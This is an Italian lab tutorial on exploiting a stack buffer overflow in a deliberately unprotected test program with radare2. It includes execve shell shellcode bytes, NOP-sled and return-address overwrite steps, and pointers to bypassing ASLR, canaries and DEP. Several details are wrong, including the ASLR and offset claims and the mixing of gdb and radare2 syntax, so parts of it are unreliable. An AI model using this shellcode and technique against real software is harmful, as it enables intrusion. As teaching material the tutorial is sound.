**Introduzione a Radare2 e Buffer Overflow**

* **Radare2:** È un framework di reverse engineering, analisi di malware e debugging potente e open-source. È noto per la sua flessibilità e per essere un "coltello svizzero" per gli esperti di sicurezza.
* **Buffer Overflow:** È una vulnerabilità che si verifica quando un programma scrive dati oltre la dimensione del buffer allocato in memoria. Questo può portare a sovrascrivere dati cruciali come l'indirizzo di ritorno delle funzioni, consentendo di prendere il controllo del flusso di esecuzione (e quindi del programma stesso).

**Tutorial: Debugging e Exploitation di un Buffer Overflow con Radare2**

Useremo un semplice esempio di programma vulnerabile per dimostrare i concetti. Supponiamo di avere un file chiamato vuln\_program (puoi compilarlo tu stesso o usarne uno che ti viene fornito). Il codice C potrebbe essere simile a questo:

**Immagine che contiene testo, schermata, Carattere

Descrizione generata automaticamente**

**Passo 1: Preparazione**

1. **Compilare il programma (se necessario):**Immagine che contiene testo, Carattere, schermata

   Descrizione generata automaticamente

gcc -o vuln\_program vuln\_program.c -fno-stack-protector -no-pie -m32

* + -fno-stack-protector: Disabilita le protezioni dello stack (utile per i primi test di overflow)
  + -no-pie: Disabilita l'Address Space Layout Randomization (ASLR) per il codice del programma (rende gli indirizzi di memoria prevedibili)
  + -m32: Compila per architettura a 32 bit (opzionale)

1. **Aprire il programma con Radare2:**  
   radare2 vuln\_program

**Passo 2: Esplorare l'eseguibile**

1. **Analizzare il programma:**  
   [0x00001050]> aa # Analizza tutto il programma  
   [0x00001050]> afl # Mostra le funzioni trovate  
   Dovresti vedere tra le funzioni main e vuln\_function.
2. **Disassemblare la funzione vuln\_function:**  
   [0x00001050]> pdf @ vuln\_function # Disassembla la funzione vuln\_function  
   Analizza il codice. Dovresti notare che la funzione usa strcpy su un buffer limitato (16 byte).
3. **Controllare l’intero stato della memoria:**   
   [0x00001050]> V

**Passo 3: Impostare il Debugging**

1. **Entrare nel modo debug:**  
   [0x00001050]> r2 -d vuln\_program # Avvia radare2 in modalità debugging
2. **Impostare un breakpoint:**
   * Usa l'indirizzo dell'istruzione strcpy all'interno di vuln\_function, che hai visto nel disassembly. Di solito, è all'inizio della funzione.  
     [0x....]> db <indirizzo\_strcpy> # Imposta breakpoint all'indirizzo di strcpy
3. **Eseguire il programma con un input di test:**  
   [0x....]> dc aaaabbbbccccddddeeeeffffgggghhhh # Continua l'esecuzione e passa una stringa di input  
   (Cerca di usare una stringa che sia chiaramente più lunga di 16 byte)

**Passo 4: Analizzare l'Overflow**

1. **Visualizzare i registri:**  
   [0x....]> dr # Mostra i registri  
   Verifica lo stato dei registri, in particolare, osserva il registro eip (su architetture a 32 bit) o rip (su architetture a 64 bit).
2. **Visualizzare lo stack:**  
   [0x....]> px 64 @ esp # Mostra i contenuti dello stack (64 byte)Cerca nel buffer buffer (all'indirizzo di stack esp), vedrai la stringa di input, e se la stringa era abbastanza lunga, vedrai i bytes "aaaa", "bbbb", "cccc", ecc., che hanno sovrascritto indirizzi sullo stack.

**Passo 5: Identificare l'Indirizzo di Ritorno Sovrascritto**

* **Calcola l'offset:** Determina quanti byte di input servono per sovrascrivere l'indirizzo di ritorno. Di solito, è subito dopo la fine del buffer. In questo caso, poiché il buffer è di 16 byte, l'indirizzo di ritorno si troverà subito dopo, cioè a offset 20 (16 bytes + 4 per i 32bit o 8 per i 64 bit di ritorno).
* **Cambia l'input:** Invece di "g", aggiungici il valore 0x41414141, cioè "AAAA", che in little-endian è \x41\x41\x41\x41 (se la tua architettura è a 32 bit) o \x41\x41\x41\x41\x41\x41\x41\x41 per 64 bit. Quindi dovresti usare un input del tipo:  
  aaaaaaaaaaaaaaaaAAAA  
    
  che in python verrebbe espresso con:  
  python import sys sys.stdout.buffer.write(b"A"\*16 + b"\x41\x41\x41\x41")  
  A questo punto, usa questo output come input nel debugger:  
  bash python3 exploit.py | radare2 -d vuln\_program  
  E dopo esserti fermato al breakpoint esegui dc. A questo punto se guardi l'indirizzo eip (o rip) dovresti vedere 0x41414141.

**Passo 6: Exploit (Esempio Base)**

1. **Trovare una shellcode:**   
   Avrai bisogno di shellcode (codice macchina che esegue una shell), puoi usare questo semplice esempio di shellcode (assicurati di adattarlo all'architettura corretta):
   * **Esempio di shellcode (x86 32bit):**  
     "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"
2. **Inserire la shellcode nello stack:** Invece di AAAA, inserisci prima un'area più grande di NOP (byte \x90, utile per aiutare l'exploit), poi inserisci la shellcode.
3. **Modificare l'indirizzo di ritorno:** Usa l'indirizzo dello stack (cioè dell'area dei NOP) come indirizzo di ritorno.
   * Per ottenerlo, imposta un breakpoint appena prima del strcpy ed esegui l'istruzione "print $esp", che ti darà l'indirizzo da inserire al posto di AAAA, in formato little-endian.

**Script di Esempio (Python):**

**Immagine che contiene testo, schermata, Carattere

Descrizione generata automaticamente**

**Esecuzione dell'Exploit:**

1. Salva lo script come exploit.py.
2. Esegui il programma target usando l'output dello script:  
   python3 exploit.py | radare2 -d vuln\_program  
   E poi, dopo esserti fermato con un breakpoint iniziale, esegui dc. Se l'exploit ha successo, dovresti vedere apparire una shell.

**Passi Avanzati:**

* **ASLR:** Gestire l'Address Space Layout Randomization (ASLR). Questo richiede tecniche come il ret2libc (Return-to-libc) o la ricerca di indirizzi di memoria senza ASLR.
* **Protezione dello Stack:** Bypassare le protezioni dello stack come Stack Canary o DEP (Data Execution Prevention).
* **Shellcode avanzato:** Usare shellcode più complessi per ottenere privilegi più elevati o eseguire azioni specifiche.